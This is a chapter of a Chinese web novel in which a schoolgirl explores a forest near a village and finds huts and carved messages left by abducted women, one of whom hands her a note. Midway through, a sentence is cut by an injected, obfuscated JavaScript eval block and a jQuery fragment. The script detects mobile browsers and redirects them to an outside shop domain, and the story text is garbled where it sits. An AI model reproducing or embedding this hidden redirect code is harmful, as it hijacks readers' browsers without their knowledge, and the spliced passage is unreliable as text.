第七天的天光来得跟前几天不一样。
碎烬辞推门走到院子里的那一刻就感觉到了空气的质地变了，没有雨，没有雾，天空是一整片均匀的灰蓝色，日光从头顶直直地照下来，把地面上所有东西的轮廓都压得扁平而清晰。
村子的墙面在这样直射的光线下显得比之前更旧更暗，每一道裂缝和每一片剥落的墙皮都在光里无所遁形。
她站在院子里把自己收拾了一下。
校服外套的拉链拉到顶，袖口用细绳扎紧了，裤脚塞进鞋帮里。
她不知道今天会走多远，但她知道自己会走进那片林子。
几天的观察拼出来的碎片已经足够多了，足够让她知道树林里那些被称作山魈的东西曾经是人。
出门之前她把桌上那根铁丝拿起来揣进了口袋里，指尖碰到铁丝弯钩处的时候感觉到被磨过的那一小片区域光滑而凉。
她出门的时候村子比前几天任何一个早晨都安静。
没有人劈柴，没有人喂鸡，也没有哪户的烟囱在冒烟。
整个村子像沉在一种集体屏息的状态里，门都关着，窗都掩着，连狗都没叫。
她沿着屋前那条路一直往村尾走。经过那户铁皮门的时候她的脚步顿了一下：门是敞开的。
那扇从来没有在她面前打开过的铁皮门今天敞着，门扇朝内开着，露出里面的院子。
院子里空空荡荡的，晾衣绳上还挂着昨天那几件衣服，被风吹得贴在一起。
门后的屋子里黑黢黢的，看不出来有没有人。
她站在门口看了几秒，没有走进去。
铁皮门敞着像一道无声的邀请，或者像一道已经来不及关上的门。
她收回视线继续往前走，穿过那片落叶带的时候日光在枯叶表面泛着一层干燥的白光，脚踩上去的声音比前几天都脆，噼里啪啦的，像在踩碎什么薄的东西。
林缘那棵有磨痕的树在正午的光线下呈现出一种灰白色的表面，被磨掉苔藓的区域比周围树干亮出一个色号。
她伸手碰了一下那道磨痕，指尖感觉到的温度比空气略高，像是被太阳晒了一上午之后存下来的余热。
她跨过了那道看不见的线，迈进了密林的影子里。
林子里比外面冷。
树冠把日光的直射全部挡在外面，光线在叶幕的过滤之后变成一种散漫的、偏绿的暗光，像沉在水底看到的天空。
地面上覆着一层厚而松软的落叶，走上去几乎没有声音，每一步都像踩在一床陈旧的棉被上。
空气里那股湿润的腐殖质气味比她在林缘闻到的时候浓了好几倍，混着泥土和朽木的气息灌进鼻腔，她下意识地放慢了呼吸。
她沿着之前观察到的那条隐蔽小径的方向往林子深处走。
那条小径两侧的枝叶有明显的折痕，像被人反复拨开又放开之后留下的固定走向。
她侧着身从两棵密挨着的树之间穿过去的时候，后背蹭到了树干表面，衣料上沾了一层湿漉漉的树皮碎屑。
大约走了不到一刻钟，前方的树冠之间漏下来一小片光，照亮了一片相对开阔的空地。
空地中央的地面比周围的落叶层低了一些，像被挖过又填平了，上面覆盖着一层较新的落叶和枯枝。
她走过去蹲下来用手拨开表层的落叶，底下露出了一截埋进土里的木头。
一块木板，边缘粗糙，像是从什么旧家具上拆下来的。她继续拨，木板周围有一圈颜色不同的泥土，像是被翻动过之后又重新填压的。
木板底下是空的，她用指尖扣住木板边缘往上抬了一下，翻起来了一角，下面是一个浅坑。
坑里有一堆东西。
灰烬。
烧过的残渣。
还有几片没有完全燃尽的碎布片，边缘焦黑，布纹还能辨认出来。
她伸手轻轻碰了一下其中一片碎布，布片在她指尖碎成了几块黑色的粉末。灰烬底部有一小片没有被完全烧毁的纸角，她小心地把那片纸角从灰堆里拈出来。
纸上残留着几个模糊的墨字，被火烧掉了一半，剩下来的半截字迹笔画曲折，只能认出最后一个字像是"家"。
她把那片纸角叠好放进口袋里，把木板重新盖回原处，用落叶盖好。
站起来的时候她感觉到膝盖上沾了一层灰黑色的粉末，拍了拍拍不掉。
周围的光线在那一刻暗了一些，像有一片云从树冠上方移过去。
她侧耳听了一下周围——林子里有风穿过枝叶的沙沙声，有水滴从高处叶片滴落到低处叶片上的细响，有某种小动物在远处的落叶层上跑过的急促脚步。
所有的声音都正常，正常到没有一道是从她需要警惕的方向传来的。
但她感觉到了别的东西。
从某个方向有目光落在她身上。
位置在她的左前方略偏下，像是蹲着或者坐着的人平视的高度。
她没有转头，保持着继续拨弄落叶的姿势，但她的听觉朝那个方向探了过去。
她捕捉到了呼吸声，浅而匀，几乎是刻意控制着节奏，但每次吸气的末梢都带着一丝轻微的、像绷紧之后收不住的颤抖。
那道呼吸的距离大约在十几步之外，被一棵粗树干的侧面挡着。
她没有看向那边。她把手上的灰拍了拍，站起来，像只是检查完了一处不太重要的地方，然后顺着空地边缘的走向慢慢往更深处的方向移动。
她的余光在经过那棵粗树干的时候扫过了它侧面的位置，她看见了一只脚：赤裸，脚背的颜色偏深，脚踝极细，脚趾扣在地面上像在用力抓紧什么东西。
那只脚在她余光掠过的瞬间缩了回去，消失在树干背面。
她继续走。
速度没有变，步幅没有变。
她走出大约二三十步之后重新停下来，蹲在一丛低矮的灌木旁边，装作系鞋带。
她低头的时候余光扫到了更多东西。
在更深的林子里，树与树之间的缝隙中，有几道蜷缩着的暗色轮廓，或坐或蹲或半跪，每一道都比正常人的体型偏小偏瘦，无声地静置在那里，像几团深色的苔藓附着在树根和岩石之间。
她的听觉铺过去的时候同时接收到了好几道呼吸声，深浅不一，位置散落在那片区域里，彼此之间的距离大约都是十到十几步，像形成了一个隐形的、互相照应的网。
她蹲在灌木旁边把鞋带重新系了一遍。站起身之后她继续往前走，脚步声在落叶层上依然轻而均匀。她经过那些蜷缩的影子时没有转头看，但她的耳朵把每一道呼吸的方位、深度和节奏都记了下来。
她走出了那片区域之后前方的树木变得稀疏了。日光从树冠的缺口处漏下来，照亮了一小片半地下的棚屋，窝棚的顶用木板和树枝搭成，顶面盖着一层厚厚枯草，侧面用土坯和石块垒了半截墙。
门口挂着一块看不出原色的旧布帘，布帘被风吹得微微晃动。
窝棚的门框边上刻着什么东西，她走近了看，是用指甲或者硬物反复划出来的一行字，笔画浅而密，挤在巴掌大的一块区域里。
字迹不算整齐，像是写在很急的时候，有些笔画歪了又描了一遍。
碎烬辞蹲在窝棚门口看着那行字。
第一行写着："我叫陈芳，1998年被人拐来，生了4个孩子，我想回家。"
她的视线在那行字上停留了很长时间。
她的手指在布帘边缘悬着没有碰。
布帘后面有没有呼吸声她没有刻意去听，但她的耳朵告诉她帘子后面是空的，只有黑暗和积了很久的、被封闭起来的气味。
她站起来，沿着窝棚四周走了一圈。
土坯墙外侧有几道平行的划痕，深浅不一，像指甲抠进去留下的，分布在墙面约一人高的范围内，密而杂乱。
墙角有一小块被踩平的地面，比别处的土更实，像是有人长时间蹲在那里，同一双脚反复压着同一片土。
地面上散落着几样小东西。
一小截粉色的发绳，一只缺了口的塑料发卡，还有半片碎了的圆镜，镜面裂成了蛛网状，但中间那一小块还能模糊地照出人的轮廓。
她没有捡那些东西，只是蹲下来看了看它们的位置和状态，然后起身离开。
她继续往林子深处走了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731419|208960||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
段距离。
在光线几乎完全被树冠吞掉的区域里，她看见了第二座窝棚，比第一座更小，门帘是深色的粗布，门框旁边同样刻着字。
字迹跟第一座窝棚上的不一样，笔画更方正，像是用硬物刻的，每一横一竖的力度都差不多。
这一行的开头写着"贵州"，后面跟着几个字，被一道粗糙的划痕盖住了大半，只露出最后两个字："想走"。
窝棚侧面的地面上扔着一团揉皱的旧报纸，被湿气浸得发软，她展开来看见上面印着一张模糊的黑白照片，照片下方有一行小字，是寻人启事的格式。
照片上的人脸已经被水渍糊住了大半，只剩半边眉毛和一只眼睛的轮廓。
她蹲在那里看了一会儿，把报纸叠好放回原处。
她站起来准备往回走的时候，听见了身后有动静。
是落叶被踩压的声音，很轻，一步一顿，像踩下去之后还犹豫了一下才迈下一步。
她没有立刻转身，就站在原地，面朝密林深处，把听觉放到那个方向。
那脚步声停在了大约六七步远的地方，然后是呼吸声，比之前那些蜷缩的影子更深、更急，像刚刚快速走过一段路之后还没平复的喘息。
她慢慢转过身去。
一个年轻女人站在她身后几步远的地方。
瘦得厉害，脸颊几乎陷下去，颧骨撑起皮肤，眼睛在她看过来的时候猛地缩了一下，然后强撑着没有躲开。
她穿着一件破旧的男式外套，袖口卷了好几圈才露出手指，头发剪得很短，乱糟糟地贴在头皮上。
她赤着脚，脚趾缝里嵌着黑色的泥土。
她们之间隔着几步距离，谁都没有动。
碎烬辞看着她。年轻女人的嘴唇翕动了一下，像想说什么但嗓子里没有声音出来。
她的目光从碎烬辞脸上移到她背后那排树上又移回来，目光反复了几次之后才终于停住了。
她的右手抬起来，指间捏着一片叠好的脏纸，她把那片纸朝碎烬辞的方向递了递。动作很慢，像这个动作本身让她紧张。
碎烬辞往前走了一步。
年轻女人往后退了半步，但手里那片纸还伸着。
碎烬辞没有再往前走，她站在原地伸出手臂，从年轻女人手里接过了那片纸。
指尖碰到她手指的那一瞬间，她感觉到一阵极轻微的颤抖从对方的指尖传过来。
年轻女人在纸脱手之后立刻往后退了两步，转过身，弯着腰，几乎是用跑的姿势钻进了旁边一处灌木丛里，枝叶晃动了几下就安静了。
碎烬辞展开那片纸。
纸面褶皱很多，被反复折叠过多次，边角都磨毛了，展开之后里面有一排字，笔迹歪斜，像是用没墨的笔芯反复描了好几遍才成形的：
"你看见我们了。不要告诉村子里的人。"
窗外透进来的光在那一刻偏了一下，像是太阳正在移过树冠上方最高的那个点。
她站在那里把那张纸上的字又看了一遍，然后把它对折好放进校服内袋里。周围很安静，连风声都停了。
那些蜷缩的暗色轮廓还在各自的位置上没有散去，像一层持续存在的、无声的背景。
她转身沿着来路往外走。
经过第一座窝棚的时候脚步慢了一拍，门框上那行字在暗光里依然清晰。她经过第二座窝棚的时候没有停步，但她听见了它门帘后面有一道极轻的呼吸声，像有人刚从外面回到了里面，正在贴着帘子听她走过。
她走过那片散落着暗色轮廓的区域时没有刻意去看它们。但她的余光捕捉到其中一个影子动了：
一道瘦小的轮廓从一个树根后面伸出来，朝她的方向偏了偏头，像是用目光送了她一段路。
她没有停步，继续走，穿过密林和树冠与树冠之间的缝隙，跨过那条看不见的线回到了林缘。
日光重新落在她身上的时候刺得她眯了一下眼睛。落叶带表面反射的白光照得整片坡地都泛着一层干燥的光。
她站在林缘，回头看了一眼身后的密林。树冠连成一片静止的暗绿色，枝叶交叠密不透风，像什么都没有发生过。